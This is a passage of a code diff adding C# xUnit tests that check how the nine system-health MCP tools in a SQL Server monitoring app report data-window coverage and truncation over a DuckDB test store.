+/// the window, both on <c>event_time</c>, the column the nine reads window on. It counts events of every type, because one
+/// collector stores them all. None uses the event-time form (<c>McpQueryTools.EventWindowNoticeAsync</c>): the probe already
+/// reads <c>event_time</c>, so a first-run backfill is named by the probe itself (see the backfill theory). An <c>unavailable</c>
+/// answer keeps its shape. Every window is anchored at a fixed <c>as_of</c>, never the clock. Own
+/// <see cref="DuckDbInitializer"/> per test, like <see cref="McpWindowNoticeConfigAndLogToolTests"/>.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class McpWindowNoticeSystemHealthToolTests : IDisposable
+{
+    private const string ServerName = "SystemHealthNoticeServer";
+    private const string Table = "system_health_events";
+    private const string AsOf = "2026-09-10T12:00:00Z";
+    private const int HoursBack = 168;
+    private static readonly DateTime Anchor = new(2026, 9, 10, 12, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime WindowStart = Anchor.AddHours(-HoursBack);
+
+    private readonly int _serverId;
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly PendingSeedSession _seed;
+    private readonly ServerManager _serverManager;
+    private long _nextId = 1;
+
+    /// <summary>The nine tools under test, in the order the source declares them.</summary>
+    public enum Tool
+    {
+        SystemHealth,
+        SevereErrors,
+        IoIssues,
+        SchedulerIssues,
+        MemoryConditions,
+        CpuTasks,
+        MemoryBroker,
+        MemoryNodeOom,
+        SignificantWaits
+    }
+
+    public McpWindowNoticeSystemHealthToolTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "McpWindowNoticeSystemHealth_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(Path.Combine(_tempDir, "config"));
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _seed = new PendingSeedSession(_duckDb);
+
+        _serverManager = new ServerManager(Path.Combine(_tempDir, "config"));
+        var server = new ServerConnection { ServerName = ServerName, DisplayName = ServerName };
+        _serverManager.AddServer(server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seed.Dispose();
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private static DateTime ParseUtc(string text) =>
+        DateTime.Parse(text, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal | DateTimeStyles.AssumeUniversal);
+
+    private static JsonElement Root(string json) => JsonDocument.Parse(json).RootElement;
+
+    private LocalDataService Service()
+    {
+        _seed.Flush();
+        return new(_duckDb);
+    }
+
+    /* ───────────────────────── per-tool wiring ───────────────────────── */
+
+    private Task<string> CallAsync(Tool tool, int hoursBack = HoursBack, int limit = 50)
+    {
+        var service = Service();
+        return tool switch
+        {
+            Tool.SystemHealth => McpHealthParserTools.GetSystemHealth(service, _serverManager, ServerName, hoursBack, limit, AsOf),
+            Tool.SevereErrors => McpHealthParserTools.GetSevereErrors(service, _serverManager, ServerName, hoursBack, limit, AsOf),
+            Tool.IoIssues => McpHealthParserTools.GetIOIssues(service, _serverManager, ServerName, hoursBack, limit, AsOf),
+            Tool.SchedulerIssues => McpHealthParserTools.GetSchedulerIssues(service, _serverManager, ServerName, hoursBack, limit, AsOf),
+            Tool.MemoryConditions => McpHealthParserTools.GetMemoryConditions(service, _serverManager, ServerName, hoursBack, limit, AsOf),
+            Tool.CpuTasks => McpHealthParserTools.GetCPUTasks(service, _serverManager, ServerName, hoursBack, limit, AsOf),
+            Tool.MemoryBroker => McpHealthParserTools.GetMemoryBroker(service, _serverManager, ServerName, hoursBack, limit, AsOf),
+            Tool.MemoryNodeOom => McpHealthParserTools.GetMemoryNodeOOM(service, _serverManager, ServerName, hoursBack, limit, AsOf),
+            Tool.SignificantWaits => McpHealthParserTools.GetSignificantWaits(service, _serverManager, ServerName, hoursBack, limit, AsOf),
+            _ => throw new ArgumentOutOfRangeException(nameof(tool))
+        };
+    }
+
+    /// <summary>The event type the tool reads, and a fixture that passes its significance gate.</summary>
+    private static (string EventType, string Fixture, string? Replace) SourceOf(Tool tool) => tool switch
+    {
+        Tool.SystemHealth => (SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_system.xml", null),
+        Tool.SevereErrors => (SystemHealthParser.ErrorReportedEvent, "error_reported.xml", null),
+        Tool.IoIssues => (SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_io_subsystem.xml", null),
+        Tool.SchedulerIssues => (SystemHealthParser.SchedulerMonitorEvent, "scheduler_monitor_high_sql_cpu.xml", null),
+        /* The fixtures carry the HIGH notification, which the memory gates drop; LOW is the one they keep. */
+        Tool.MemoryConditions => (SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_resource.xml", "LOW"),
+        Tool.CpuTasks => (SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_query_processing_warning.xml", null),
+        Tool.MemoryBroker => (SystemHealthParser.MemoryBrokerEvent, "memory_broker.xml", "LOW"),
+        Tool.MemoryNodeOom => (SystemHealthParser.MemoryNodeOomEvent, "memory_node_oom.xml", null),
+        Tool.SignificantWaits => (SystemHealthParser.WaitInfoEvent, "wait_info.xml", null),
+        _ => throw new ArgumentOutOfRangeException(nameof(tool))
+    };
+
+    /// <summary>The key that counts the tool's rows before the <c>limit</c> cut.</summary>
+    private static string CountKey(Tool tool) => tool switch
+    {
+        Tool.SystemHealth => "total_entries",
+        Tool.SevereErrors => "error_count",
+        Tool.IoIssues or Tool.SchedulerIssues => "issue_count",
+        Tool.SignificantWaits => "wait_count",
+        _ => "event_count"
+    };
+
+    /// <summary>An event of a different type than the tool reads, so the tool's window is empty beside a collector that IS read.</summary>
+    private static Tool OtherTypeOf(Tool tool) => tool is Tool.SignificantWaits or Tool.MemoryNodeOom ? Tool.SevereErrors : Tool.MemoryNodeOom;
+
+    private static string LoadFixture(string name) =>
+        File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "SystemHealth", name));
+
+    private Task SeedEventAsync(Tool tool, DateTime eventTime, DateTime? collectedAt = null)
+    {
+        var (eventType, fixture, replace) = SourceOf(tool);
+        var xml = LoadFixture(fixture);
+        if (replace is not null)
+        {
+            xml = xml.Replace("RESOURCE_MEMPHYSICAL_HIGH", "RESOURCE_MEMPHYSICAL_" + replace, StringComparison.Ordinal);
+        }
+
+        return ExecuteAsync(@"
+INSERT INTO system_health_events (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+VALUES ($1, $2, $3, $4, $5, $6, $7)",
+            _nextId++, Naive(collectedAt ?? eventTime), _serverId, ServerName, Naive(eventTime), eventType, xml);
+    }
+
+    /// <summary>Two stretches of data: the first at <paramref name="first"/> (the data's start) and a later one a day before the anchor.</summary>
+    private async Task SeedFirstAndLaterAsync(Tool tool, DateTime first)
+    {
+        await SeedEventAsync(tool, first);
+        await SeedEventAsync(tool, Anchor.AddDays(-1));
+    }
+
+    /* ───────────────────────── a data answer ───────────────────────── */
+
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task CollectionStartsInsideTheWindow_ReportsTheFloor_AndTheNote(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedLogRunsAsync(floor, Anchor, everyMinutes: 30);
+        await SeedFirstAndLaterAsync(tool, floor);
+
+        var root = Root(await CallAsync(tool));
+
+        AssertTruncatedAt(root, floor);
+    }
+
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AQuietStart_CollectedFromBeforeTheWindow_FirstEventTwoDaysIn_IsCovered(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        /* The collector has run since before the window and stored nothing until two days in: a quiet server looks exactly like
+           this, and a probe that read only the window's events would call it truncated. */
+        await SeedLogRunsAsync(WindowStart.AddHours(-1), Anchor, everyMinutes: 30);
+        await SeedEventAsync(tool, Anchor.AddDays(-2));
+
+        var root = Root(await CallAsync(tool));
+
+        AssertCovered(root, WindowStart);
+    }
+
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task ALateFirstEventOfThisType_OlderEventsOfAnotherType_NoRunsBeforeTheWindow_IsCovered(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        /* No collector run before the window; an event of another type sits before the window start, which proves the window is
+           not the data's start even though the tool's own first event came a day before the anchor. */
+        await SeedEventAsync(OtherTypeOf(tool), WindowStart.AddDays(-1));
+        await SeedEventAsync(tool, Anchor.AddDays(-1));
+
+        var root = Root(await CallAsync(tool));
+
+        AssertCovered(root, WindowStart);
+    }
+
+    /// <summary>The three keys sit right after <c>hours_back</c>, in this order, on every tool.</summary>
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task ADataAnswer_CarriesTheKeysRightAfterHoursBack(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedFirstAndLaterAsync(tool, Anchor.AddDays(-2));
+
+        var names = new List<string>();
+        foreach (var property in Root(await CallAsync(tool)).EnumerateObject())
+        {
+            names.Add(property.Name);
+        }
+
+        var hoursBack = names.IndexOf("hours_back");
+        Assert.True(hoursBack >= 0);
+        Assert.Equal(new[] { "effective_start", "window_truncated", "truncation_note" }, names.GetRange(hoursBack + 1, 3));
+    }
+
+    /// <summary>A window of 90 minutes or less with rows starts no probe: covered at the requested start, not at the data.</summary>
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AShortWindowWithRows_StartsNoProbe_AndIsCoveredAtTheRequestedStart(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedEventAsync(tool, Anchor.AddMinutes(-30));
+
+        var root = Root(await CallAsync(tool, hoursBack: 1));
+
+        AssertCovered(root, Anchor.AddHours(-1));
+    }
+
+    /// <summary>
+    /// A capped page (<c>limit: 1</c> over at least two rows) sits next to a window floor: the page cut does not change the notice.
+    /// All nine tools page on <c>limit</c>, newest first, and the oldest row is the one the cut drops.
+    /// </summary>
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task ACappedPage_NextToAWindowFloor_LeavesTheNoticeUnchanged(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var floor = Anchor.AddDays(-2);
+        await SeedLogRunsAsync(floor, Anchor, everyMinutes: 30);
+        await SeedFirstAndLaterAsync(tool, floor);
+
+        var root = Root(await CallAsync(tool, limit: 1));
+
+        Assert.Equal(1, root.GetProperty("shown").GetInt32());
+        Assert.True(root.GetProperty(CountKey(tool)).GetInt32() >= 2);
+        AssertTruncatedAt(root, floor);
+    }
+
+    /// <summary>
+    /// Why the event-time form is not used: the collector's first run stores events from before itself (an event is stamped
+    /// with its own <c>event_time</c>, the run's <c>collection_time</c> is later), and the probe reads <c>event_time</c>. The first
+    /// run is 100 minutes into the window (past the 90-minute slack), it stored an event from 30 minutes in, and the probe alone
+    /// already names that event and calls the window covered. This holds for every tool because the nine share one relation.
+    /// </summary>
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEventOlderThanItsRun_FirstRunBackfill_NamesTheEvent_AndIsNotACut(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var firstRun = WindowStart.AddMinutes(100);
+        var backfilled = WindowStart.AddMinutes(30);
+        await SeedLogRunsAsync(firstRun, Anchor, everyMinutes: 30);
+        await SeedEventAsync(tool, backfilled, collectedAt: firstRun);
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - backfilled).TotalSeconds) < 5, $"effective_start {text} should be the event {backfilled:o}");
+        Assert.False(root.TryGetProperty("effective_hours_back", out _));
+    }
+
+    /* ───────────────────────── an empty answer says where the data starts too ───────────────────────── */
+
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEmptyWindow_PastCoverage_CarriesTheFloorAndTheNote_UnderHints(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        /* The collector ran for two days of a 7-day ask and the session stored an event of another type: the session IS read, so
+           the answer is a measured empty, and only the keys say the older five days were never read. */
+        await SeedLogRunsAsync(Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedEventAsync(OtherTypeOf(tool), Anchor.AddDays(-2));
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.True(root.GetProperty("source_observed").GetBoolean());
+        AssertTruncatedAt(root.GetProperty("hints"), Anchor.AddDays(-2));
+    }
+
+    /// <summary>Events of the tool's own type were captured and gated out (the first rung): still an empty answer, still the keys.</summary>
+    [Theory]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEmptyWindow_EventsCapturedButGatedOut_CarriesTheKeysUnderHints(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        /* An event of the tool's own type that its gate drops: the broker fixture's HIGH notification, or a wait under the duration floor. */
+        var (eventType, fixture, _) = SourceOf(tool);
+        var xml = LoadFixture(fixture);
+        if (tool == Tool.SignificantWaits)
+        {
+            xml = xml.Replace("<data name=\"duration\"><value>1500</value>", "<data name=\"duration\"><value>10</value>", StringComparison.Ordinal);
+        }
+
+        await ExecuteAsync(@"
+INSERT INTO system_health_events (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+VALUES ($1, $2, $3, $4, $2, $5, $6)",
+            _nextId++, Naive(Anchor.AddDays(-1)), _serverId, ServerName, eventType, xml);
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Equal(1, root.GetProperty("events_in_window").GetInt32());
+        AssertTruncatedAt(root.GetProperty("hints"), Anchor.AddDays(-2));
+
+        /* #4966: the window is cut, so the healthy-answer claim gives way to the cut sentence; the event count and the reason
+           nothing qualified (the first sentence) are kept. */
+        var message = root.GetProperty("message").GetString()!;
+        Assert.StartsWith("1 " + eventType + " event(s) were captured for " + ServerName, message, StringComparison.Ordinal);
+        Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage, message, StringComparison.Ordinal);
+        Assert.DoesNotContain("healthy answer", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>#4966: the same gated-out events over a window the collector covers from before its start keep the healthy-answer sentence.</summary>
+    [Theory]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEmptyWindow_EventsCapturedButGatedOut_OverACoveredWindow_KeepsTheHealthyAnswer(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(WindowStart.AddDays(-2), Anchor, everyMinutes: 30);
+        var (eventType, fixture, _) = SourceOf(tool);
+        var xml = LoadFixture(fixture);
+        if (tool == Tool.SignificantWaits)
+        {
+            xml = xml.Replace("<data name=\"duration\"><value>1500</value>", "<data name=\"duration\"><value>10</value>", StringComparison.Ordinal);
+        }
+
+        await ExecuteAsync(@"
+INSERT INTO system_health_events (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+VALUES ($1, $2, $3, $4, $2, $5, $6)",
+            _nextId++, Naive(Anchor.AddDays(-1)), _serverId, ServerName, eventType, xml);
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertCovered(root.GetProperty("hints"), WindowStart);
+        var message = root.GetProperty("message").GetString()!;
+        Assert.StartsWith("1 " + eventType + " event(s) were captured for " + ServerName, message, StringComparison.Ordinal);
+        Assert.EndsWith(". Events ARE being captured, so this is the healthy answer for this read rather than missing data.", message, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #4966, rung 2 (this type was captured BEFORE the window, none in it): a window cut at a start names effective_start, a
+    /// window the store holds nothing in says nothing was read, and a covered window keeps "genuinely quiet".
+    /// </summary>
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEmptyWindow_TheTypeSeenBeforeTheWindow_PicksTheCutVariant_ByTheNotice(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var (eventType, _, _) = SourceOf(tool);
+
+        /* Cut, with a start: the collector ran for two days of the seven, and this type's only stored event is from after the
+           window's end (the read is anchored at a past as_of). An event stored BEFORE the window would itself be a row older
+           than the start, which makes Lite's probe call the window covered, so that case reaches the covered text. */
+        await SeedEventAsync(tool, Anchor.AddHours(2));
+        await SeedLogRunsAsync(Anchor.AddDays(-2), Anchor, everyMinutes: 30);
+        var cut = Root(await CallAsync(tool));
+        AssertTruncatedAt(cut.GetProperty("hints"), Anchor.AddDays(-2));
+        var cutMessage = cut.GetProperty("message").GetString()!;
+        Assert.StartsWith("No " + eventType + " events were captured for " + ServerName, cutMessage, StringComparison.Ordinal);
+        Assert.Contains("This server HAS captured them before", cutMessage, StringComparison.Ordinal);
+        Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage, cutMessage, StringComparison.Ordinal);
+        Assert.DoesNotContain("genuinely quiet", cutMessage, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEmptyWindow_TheTypeSeenBeforeTheWindow_NoStartToName_SaysNothingWasRead(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var (eventType, _, _) = SourceOf(tool);
+        await SeedEventAsync(tool, WindowStart.AddDays(-9));
+        await SeedLogRunsAsync(WindowStart.AddDays(-9), WindowStart.AddDays(-8), everyMinutes: 60);
+
+        var root = Root(await CallAsync(tool));
+
+        AssertNothingHeld(root.GetProperty("hints"));
+        var message = root.GetProperty("message").GetString()!;
+        Assert.StartsWith("No " + eventType + " events were captured for " + ServerName, message, StringComparison.Ordinal);
+        Assert.EndsWith(". " + McpHelpers.CutWindowNothingReadMessage, message, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEmptyWindow_TheTypeSeenBeforeTheWindow_OverACoveredWindow_KeepsGenuinelyQuiet(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedEventAsync(tool, WindowStart.AddDays(-1));
+        await SeedLogRunsAsync(WindowStart.AddDays(-2), Anchor, everyMinutes: 30);
+
+        var root = Root(await CallAsync(tool));
+
+        AssertCovered(root.GetProperty("hints"), WindowStart);
+        Assert.EndsWith(", so the window is genuinely quiet rather than blind — widen hours_back to reach the most recent events.", root.GetProperty("message").GetString()!, StringComparison.Ordinal);
+    }
+
+    /// <summary>The tool's type was captured before the window and not in it (the second rung): the keys say nothing in the window was read.</summary>
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEmptyWindow_TheStoreHoldsNothingIn_SaysNothingWasRead(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedEventAsync(tool, WindowStart.AddDays(-9));
+        await SeedLogRunsAsync(WindowStart.AddDays(-9), WindowStart.AddDays(-8), everyMinutes: 60);
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"));
+    }
+
+    /// <summary>An empty answer over a short window is probed too: the skip that is right beside rows is not a claim an empty answer can make.</summary>
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEmptyShortWindow_IsAlwaysProbed(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedEventAsync(OtherTypeOf(tool), WindowStart.AddDays(-9));
+
+        var root = Root(await CallAsync(tool, hoursBack: 1));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertNothingHeld(root.GetProperty("hints"));
+    }
+
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SevereErrors)]
+    [InlineData(Tool.IoIssues)]
+    [InlineData(Tool.SchedulerIssues)]
+    [InlineData(Tool.MemoryConditions)]
+    [InlineData(Tool.CpuTasks)]
+    [InlineData(Tool.MemoryBroker)]
+    [InlineData(Tool.MemoryNodeOom)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task AnEmptyWindow_TheCollectorCoveredFromBeforeIt_SaysCovered(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        await SeedLogRunsAsync(WindowStart.AddDays(-2), Anchor, everyMinutes: 30);
+        await SeedEventAsync(OtherTypeOf(tool), WindowStart.AddDays(-1));
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        AssertCovered(root.GetProperty("hints"), WindowStart);
+    }
+
+    /// <summary>A server whose session has NEVER been read is <c>unavailable</c>: that answer keeps its shape and carries no keys.</summary>
+    [Theory]
+    [InlineData(Tool.SystemHealth)]
+    [InlineData(Tool.SignificantWaits)]
+    public async Task ANeverCapturedServer_IsUnavailable_AndStaysBare(Tool tool)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+
+        var root = Root(await CallAsync(tool));
+
+        Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        Assert.False(root.GetProperty("source_observed").GetBoolean());
+        Assert.False(root.TryGetProperty("hints", out _));
+        Assert.False(root.TryGetProperty("window_truncated", out _));
+        Assert.False(root.TryGetProperty("effective_start", out _));
+    }
+
+    /* ───────────────────────── assertions ───────────────────────── */
+
+    /// <summary>The store's data starts at <paramref name="floor"/>, later than the window asked for.</summary>
+    private static void AssertTruncatedAt(JsonElement root, DateTime floor)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - floor).TotalSeconds) < 5,
+            $"effective_start {text} should be the seeded floor {floor:o}");
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"raw {Table} retains", note, StringComparison.Ordinal);
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>An empty answer over a window the store holds no collection in: not covered, and no start to name.</summary>
+    private static void AssertNothingHeld(JsonElement root)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("effective_start").ValueKind);
+        var note = root.GetProperty("truncation_note").GetString();
+        Assert.NotNull(note);
+        Assert.Contains($"holds no collection of {Table}", note, StringComparison.Ordinal);
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>The store held the whole window: the keys are present, false and null, at the requested start.</summary>
+    private static void AssertCovered(JsonElement root, DateTime requestedStart)
+    {
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        Assert.True(Math.Abs((ParseUtc(text) - requestedStart).TotalMinutes) < 2,
+            $"effective_start {text} should be the requested start {requestedStart:o}");
+        AssertNoReachKey(root);
+    }
+
+    /// <summary>None of the nine writes a reach: the instant alone, as on the other window-floor payloads.</summary>
+    private static void AssertNoReachKey(JsonElement root) =>
+        Assert.False(root.TryGetProperty("effective_hours_back", out _));
+
+    /* ───────────────────────── seeding ───────────────────────── */
+
+    /* #5208: every seed statement joins one open transaction (PendingSeedSession) instead of committing on its own;
+       Service() commits it before anything reads, so the code under test sees the same rows in the same order. */
+    private Task ExecuteAsync(string sql, params object?[] values) => _seed.ExecuteAsync(sql, values);
+
+    /// <summary>The system_health collector's runs in collection_log, every <paramref name="everyMinutes"/> minutes, whether or not it stored anything.</summary>
+    private async Task SeedLogRunsAsync(DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        await ExecuteAsync($@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1 + row_number() OVER (), $2, $3, 'system_health_events', g.t, 12, 'SUCCESS', 0
+FROM generate_series($4::TIMESTAMP, $5::TIMESTAMP, INTERVAL {everyMinutes} MINUTE) AS g(t)",
+            _nextId, _serverId, ServerName, Naive(firstUtc), Naive(lastUtc));
+        _nextId += 100_000;
+    }
+}
diff --git a/Lite.Tests/McpWindowNoticeToolTests.cs b/Lite.Tests/McpWindowNoticeToolTests.cs
new file mode 100644
index 0000000000..871bbe89b7
--- /dev/null
+++ b/Lite.Tests/McpWindowNoticeToolTests.cs
@@ -0,0 +1,1090 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.IO;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: where the data starts, on four more time-ranged Lite tools. <c>get_active_queries</c> and
+/// <c>get_waiting_tasks</c> (read by coverage: the collector's logged runs count as well as rows),
+/// <c>get_query_store_regressions</c> (checked against the baseline's start, the earlier of its two windows) and
+/// <c>get_query_heatmap</c> each publish <c>effective_start</c>, <c>window_truncated</c> and <c>truncation_note</c>
+/// beside <c>hours_back</c>, from the same probe the Queries tools use
+/// (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>). All four carry a page cut of their own
+/// (<c>truncated</c>), so none writes <c>effective_hours_back</c>: Darling's census holds that key apart for the
+/// window floor. Own <see cref="DuckDbInitializer"/> per test, like <see cref="QueryWindowTruncationTests"/>.
+/// </summary>
+[Trait("Cost", "Slow")]
